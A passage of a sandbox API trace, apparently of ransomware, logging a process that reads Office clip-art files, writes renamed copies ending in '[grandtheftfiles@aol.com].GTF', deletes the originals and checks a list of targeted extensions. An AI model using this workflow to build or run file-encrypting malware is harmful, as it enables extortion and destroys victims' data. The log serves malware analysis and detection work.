	[0091.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099159.WMF") returned 68
	[0091.192] lstrlenW (lpString=".jpg") returned 4
	[0091.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.193] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.193] lstrlenW (lpString="J0099161.JPG") returned 12
	[0091.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.193] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=7154) returned 1
	[0091.193] CloseHandle (hObject=0x31c) returned 1
	[0091.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220
	[0091.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.193] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.193] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.194] GetLastError () returned 0x0
	[0091.194] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1bf2, lpOverlapped=0x0) returned 1
	[0091.195] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1c00, lpOverlapped=0x0) returned 1
	[0091.196] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.196] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.196] SetEndOfFile (hFile=0x340) returned 1
	[0091.197] CloseHandle (hObject=0x340) returned 1
	[0091.197] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.197] SetEndOfFile (hFile=0x31c) returned 1
	[0091.197] CloseHandle (hObject=0x31c) returned 1
	[0091.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1
	[0091.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.198] lstrlenW (lpString=".doc") returned 4
	[0091.198] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.198] lstrlenW (lpString=".docx") returned 5
	[0091.198] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0091.198] lstrlenW (lpString=".pdf") returned 4
	[0091.198] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.198] lstrlenW (lpString=".xls") returned 4
	[0091.198] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.198] lstrlenW (lpString=".xlsx") returned 5
	[0091.198] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0091.198] lstrlenW (lpString=".ppt") returned 4
	[0091.198] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.198] lstrlenW (lpString=".zip") returned 4
	[0091.198] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.198] lstrlenW (lpString=".rar") returned 4
	[0091.198] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.198] lstrlenW (lpString=".bz2") returned 4
	[0091.198] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.198] lstrlenW (lpString=".7z") returned 3
	[0091.199] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.199] lstrlenW (lpString=".dbf") returned 4
	[0091.199] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.199] lstrlenW (lpString=".1cd") returned 4
	[0091.199] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.199] lstrlenW (lpString=".jpg") returned 4
	[0091.199] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.199] lstrlenW (lpString=".doc") returned 4
	[0091.199] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.199] lstrlenW (lpString=".docx") returned 5
	[0091.199] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1
	[0091.199] lstrlenW (lpString=".pdf") returned 4
	[0091.199] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.199] lstrlenW (lpString=".xls") returned 4
	[0091.199] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.199] lstrlenW (lpString=".xlsx") returned 5
	[0091.199] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1
	[0091.199] lstrlenW (lpString=".ppt") returned 4
	[0091.199] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.199] lstrlenW (lpString=".zip") returned 4
	[0091.199] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.199] lstrlenW (lpString=".rar") returned 4
	[0091.199] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.199] lstrlenW (lpString=".bz2") returned 4
	[0091.199] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.199] lstrlenW (lpString=".7z") returned 3
	[0091.199] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.200] lstrlenW (lpString=".dbf") returned 4
	[0091.200] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.200] lstrlenW (lpString=".1cd") returned 4
	[0091.200] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68
	[0091.200] lstrlenW (lpString=".jpg") returned 4
	[0091.200] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.200] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.200] lstrlenW (lpString="J0099162.JPG") returned 12
	[0091.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.200] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=19656) returned 1
	[0091.200] CloseHandle (hObject=0x31c) returned 1
	[0091.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220
	[0091.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.201] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.201] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.201] GetLastError () returned 0x0
	[0091.201] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4cc8, lpOverlapped=0x0) returned 1
	[0091.203] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0091.204] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.204] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.204] SetEndOfFile (hFile=0x340) returned 1
	[0091.204] CloseHandle (hObject=0x340) returned 1
	[0091.204] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.205] SetEndOfFile (hFile=0x31c) returned 1
	[0091.205] CloseHandle (hObject=0x31c) returned 1
	[0091.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1
	[0091.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.206] lstrlenW (lpString=".doc") returned 4
	[0091.206] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.206] lstrlenW (lpString=".docx") returned 5
	[0091.206] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0091.206] lstrlenW (lpString=".pdf") returned 4
	[0091.206] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.206] lstrlenW (lpString=".xls") returned 4
	[0091.206] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.206] lstrlenW (lpString=".xlsx") returned 5
	[0091.206] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0091.206] lstrlenW (lpString=".ppt") returned 4
	[0091.206] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.206] lstrlenW (lpString=".zip") returned 4
	[0091.206] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.206] lstrlenW (lpString=".rar") returned 4
	[0091.206] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.206] lstrlenW (lpString=".bz2") returned 4
	[0091.206] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.206] lstrlenW (lpString=".7z") returned 3
	[0091.206] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.207] lstrlenW (lpString=".dbf") returned 4
	[0091.207] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.207] lstrlenW (lpString=".1cd") returned 4
	[0091.207] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.207] lstrlenW (lpString=".jpg") returned 4
	[0091.207] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.207] lstrlenW (lpString=".doc") returned 4
	[0091.207] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.207] lstrlenW (lpString=".docx") returned 5
	[0091.207] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0091.207] lstrlenW (lpString=".pdf") returned 4
	[0091.207] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.207] lstrlenW (lpString=".xls") returned 4
	[0091.207] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.207] lstrlenW (lpString=".xlsx") returned 5
	[0091.207] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0091.207] lstrlenW (lpString=".ppt") returned 4
	[0091.207] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.207] lstrlenW (lpString=".zip") returned 4
	[0091.207] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.207] lstrlenW (lpString=".rar") returned 4
	[0091.207] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.207] lstrlenW (lpString=".bz2") returned 4
	[0091.207] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.207] lstrlenW (lpString=".7z") returned 3
	[0091.207] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.207] lstrlenW (lpString=".dbf") returned 4
	[0091.207] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.208] lstrlenW (lpString=".1cd") returned 4
	[0091.208] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68
	[0091.208] lstrlenW (lpString=".jpg") returned 4
	[0091.208] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.208] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.208] lstrlenW (lpString="J0099163.WMF") returned 12
	[0091.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.208] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=22356) returned 1
	[0091.208] CloseHandle (hObject=0x31c) returned 1
	[0091.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220
	[0091.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0091.208] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.209] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0091.209] GetLastError () returned 0x0
	[0091.209] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x5754, lpOverlapped=0x0) returned 1
	[0091.211] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5760, lpOverlapped=0x0) returned 1
	[0091.212] ReadFile (in: hFile=0x31c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.212] WriteFile (in: hFile=0x340, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.212] SetEndOfFile (hFile=0x340) returned 1
	[0091.212] CloseHandle (hObject=0x340) returned 1
	[0091.213] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.213] SetEndOfFile (hFile=0x31c) returned 1
	[0091.214] CloseHandle (hObject=0x31c) returned 1
	[0091.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0091.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.214] lstrlenW (lpString=".doc") returned 4
	[0091.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.214] lstrlenW (lpString=".docx") returned 5
	[0091.214] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0091.214] lstrlenW (lpString=".pdf") returned 4
	[0091.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.214] lstrlenW (lpString=".xls") returned 4
	[0091.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.214] lstrlenW (lpString=".xlsx") returned 5
	[0091.214] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0091.214] lstrlenW (lpString=".ppt") returned 4
	[0091.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.215] lstrlenW (lpString=".zip") returned 4
	[0091.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.215] lstrlenW (lpString=".rar") returned 4
	[0091.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.215] lstrlenW (lpString=".bz2") returned 4
	[0091.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.215] lstrlenW (lpString=".7z") returned 3
	[0091.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.215] lstrlenW (lpString=".dbf") returned 4
	[0091.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.215] lstrlenW (lpString=".1cd") returned 4
	[0091.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.215] lstrlenW (lpString=".jpg") returned 4
	[0091.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.215] lstrlenW (lpString=".doc") returned 4
	[0091.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.215] lstrlenW (lpString=".docx") returned 5
	[0091.215] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0091.215] lstrlenW (lpString=".pdf") returned 4
	[0091.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.215] lstrlenW (lpString=".xls") returned 4
	[0091.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.215] lstrlenW (lpString=".xlsx") returned 5
	[0091.215] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0091.216] lstrlenW (lpString=".ppt") returned 4
	[0091.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.216] lstrlenW (lpString=".zip") returned 4
	[0091.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.216] lstrlenW (lpString=".rar") returned 4
	[0091.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.216] lstrlenW (lpString=".bz2") returned 4
	[0091.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.216] lstrlenW (lpString=".7z") returned 3
	[0091.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.216] lstrlenW (lpString=".dbf") returned 4
	[0091.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0091.216] lstrlenW (lpString=".1cd") returned 4
